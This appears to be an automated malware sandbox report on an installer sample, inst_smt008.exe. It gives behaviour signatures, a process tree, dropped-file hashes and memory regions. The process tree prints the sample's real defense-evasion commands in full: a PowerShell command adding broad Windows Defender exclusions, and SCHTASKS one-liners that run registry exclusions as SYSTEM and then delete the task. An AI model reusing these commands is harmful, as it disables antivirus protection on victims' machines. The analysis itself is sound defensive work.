Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 02:36

General

  • Target
    inst_smt008.exe
  • Size 55.2MB
  • Sample260805-c3scnscc33
  • SHA256 832f507752f98f4566af50bef575c6ecd6931d2b0cf7d668c644b6ea4dda224f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe
    "C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:5680
  • C:\Users\Public\WJJdo0\VNAaWa.exe
    "C:\Users\Public\WJJdo0\VNAaWa.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4592
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:5940
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\WJJdo0\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3212
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\WJJdo0\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4172
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4456
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1356
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4916
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4932
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1772
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1336
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:5736
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4124
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4128
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4020
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2852
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4852
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1540
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:2596
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3844
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:2656
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5336
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4384
                      • C:\Users\Public\WJJdo0\VNAaWa.exe
                        "C:\Users\Public\WJJdo0\VNAaWa.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:3980
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\WJJdo0" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:5368
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\WJJdo0" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:428
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:1332
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3196
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1124
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1940
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5804

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\WJJdo0\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 82c94a0d8231912a25b3dc7e0e130696896ee273e603649274cf97e9bf3c5e8a
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              VNAaWa.exe

                              • Path C:\Users\Public\WJJdo0\VNAaWa.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\WJJdo0\adoresd.dat
                              • Size 4.7MB
                              • SHA256 35b9419e4850a3f9223fb2925a206573e4655150fa597f1716f38c570be8a34e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\WJJdo0\msadox.tb
                              • Size 8KB
                              • SHA256 7c78b90f670ad8816daedfcf268498aa5a75f88f84e8dca5c8a99b96fb56b888
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/3980-578-0x000002320ADD0000-0x000002320B661000-memory.dmp

                              memory/3980-583-0x000002320ADD0000-0x000002320B661000-memory.dmp

                              memory/3980-586-0x00007FFEDA770000-0x00007FFEDA772000-memory.dmp

                              memory/3980-584-0x000002320ADD0000-0x000002320B661000-memory.dmp

                              memory/3980-585-0x000002320ADD0000-0x000002320B661000-memory.dmp

                              memory/3980-582-0x000002320ADD0000-0x000002320B661000-memory.dmp

                              memory/3980-577-0x00007FFEDA780000-0x00007FFEDA782000-memory.dmp

                              memory/3980-575-0x000002320ADD0000-0x000002320B661000-memory.dmp

                              memory/3980-572-0x00007FFEB7B20000-0x00007FFEB803E000-memory.dmp

                              memory/4592-538-0x0000014A4E070000-0x0000014A4E901000-memory.dmp

                              memory/4592-565-0x0000014A4E070000-0x0000014A4E901000-memory.dmp

                              memory/4592-542-0x0000014A4E070000-0x0000014A4E901000-memory.dmp

                              memory/4592-544-0x0000014A4E070000-0x0000014A4E901000-memory.dmp

                              memory/4592-545-0x0000014A4E070000-0x0000014A4E901000-memory.dmp

                              memory/4592-549-0x0000014A4E070000-0x0000014A4E901000-memory.dmp

                              memory/4592-556-0x0000014A4D5D0000-0x0000014A4D65A000-memory.dmp

                              memory/4592-560-0x0000014A4D5D0000-0x0000014A4D65A000-memory.dmp

                              memory/4592-529-0x00007FFEDA770000-0x00007FFEDA772000-memory.dmp

                              memory/4592-558-0x0000014A4D5D0000-0x0000014A4D65A000-memory.dmp

                              memory/4592-557-0x0000014A4D5D0000-0x0000014A4D65A000-memory.dmp

                              memory/4592-562-0x0000014A4E070000-0x0000014A4E901000-memory.dmp

                              memory/4592-564-0x0000014A4E070000-0x0000014A4E901000-memory.dmp

                              memory/4592-543-0x0000014A4E070000-0x0000014A4E901000-memory.dmp

                              memory/4592-537-0x00007FFEDA780000-0x00007FFEDA782000-memory.dmp

                              memory/4592-536-0x0000014A4E070000-0x0000014A4E901000-memory.dmp

                              memory/4592-530-0x00007FFEB7B20000-0x00007FFEB803E000-memory.dmp

                              memory/4592-555-0x0000014A4D4F0000-0x0000014A4D53E000-memory.dmp

                              memory/5680-503-0x00007FFED1D30000-0x00007FFED1D42000-memory.dmp

                              memory/5680-0-0x00000000004D0000-0x00000000004DD000-memory.dmp

                              memory/5680-1-0x00000000004E0000-0x00000000004EB000-memory.dmp

                              memory/5680-524-0x00007FFED1D30000-0x00007FFED1D42000-memory.dmp

                              memory/5680-523-0x00000000004D0000-0x00000000004DD000-memory.dmp

                              memory/5940-590-0x00000210E8E10000-0x00000210E8E32000-memory.dmp

                              memory/5940-593-0x00000210E9060000-0x00000210E907E000-memory.dmp

                              memory/5940-594-0x00000210E9080000-0x00000210E9132000-memory.dmp

                              memory/5940-595-0x00000210E9050000-0x00000210E905A000-memory.dmp